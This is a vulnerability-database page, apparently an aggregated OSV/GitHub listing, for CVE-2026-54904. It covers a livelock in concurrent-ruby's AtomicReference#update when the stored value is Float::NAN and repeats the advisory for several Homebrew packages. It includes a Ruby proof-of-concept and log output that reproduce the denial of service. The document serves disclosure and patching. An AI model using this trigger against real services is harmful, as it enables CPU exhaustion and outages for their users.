Action not permitted
Modal body text goes here.
Modal Title
Modal Body
GHSA-H8W8-99G7-QMVJ
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-08-05 17:36Summary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54904"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:35Z",
"nvd_published_at": "2026-06-24T17:17:29Z",
"severity": "HIGH"
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-h8w8-99g7-qmvj",
"modified": "2026-08-05T17:36:06Z",
"published": "2026-06-19T20:47:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`"
}
BREW-ASCIIDOCTOR-CVE-202… (GHSA-H8W8-99G7-QMVJ)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:36 – Updated: 2026-08-13 16:36 – Source websiteSummary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "concurrent-ruby",
"resource_purl": "pkg:gem/concurrent-ruby@1.2.3",
"upstream_fixed_in": "1.3.7"
},
"package": {
"ecosystem": "Homebrew",
"name": "asciidoctor",
"purl": "pkg:brew/asciidoctor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "RubyGems",
"key": "pkg:gem/concurrent-ruby@1.2.3",
"name": "concurrent-ruby",
"resource": "concurrent-ruby",
"strategy": "registry",
"subject_version": "1.2.3"
}
]
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "BREW-asciidoctor-CVE-2026-54904",
"modified": "2026-08-13T16:36:07Z",
"published": "2026-08-13T16:36:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`",
"upstream": [
"GHSA-h8w8-99g7-qmvj",
"CVE-2026-54904"
]
}
BREW-IMAP-BACKUP-CVE-202… (GHSA-H8W8-99G7-QMVJ)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:59 – Updated: 2026-08-13 16:59 – Source websiteSummary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "concurrent-ruby",
"resource_purl": "pkg:gem/concurrent-ruby@1.3.6",
"upstream_fixed_in": "1.3.7"
},
"package": {
"ecosystem": "Homebrew",
"name": "imap-backup",
"purl": "pkg:brew/imap-backup"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "RubyGems",
"key": "pkg:gem/concurrent-ruby@1.3.6",
"name": "concurrent-ruby",
"resource": "concurrent-ruby",
"strategy": "registry",
"subject_version": "1.3.6"
}
]
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "BREW-imap-backup-CVE-2026-54904",
"modified": "2026-08-13T16:59:45Z",
"published": "2026-08-13T16:59:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`",
"upstream": [
"GHSA-h8w8-99g7-qmvj",
"CVE-2026-54904"
]
}
BREW-KRANE-CVE-2026-54904 (GHSA-H8W8-99G7-QMVJ)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:01 – Updated: 2026-08-13 17:01 – Source websiteSummary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
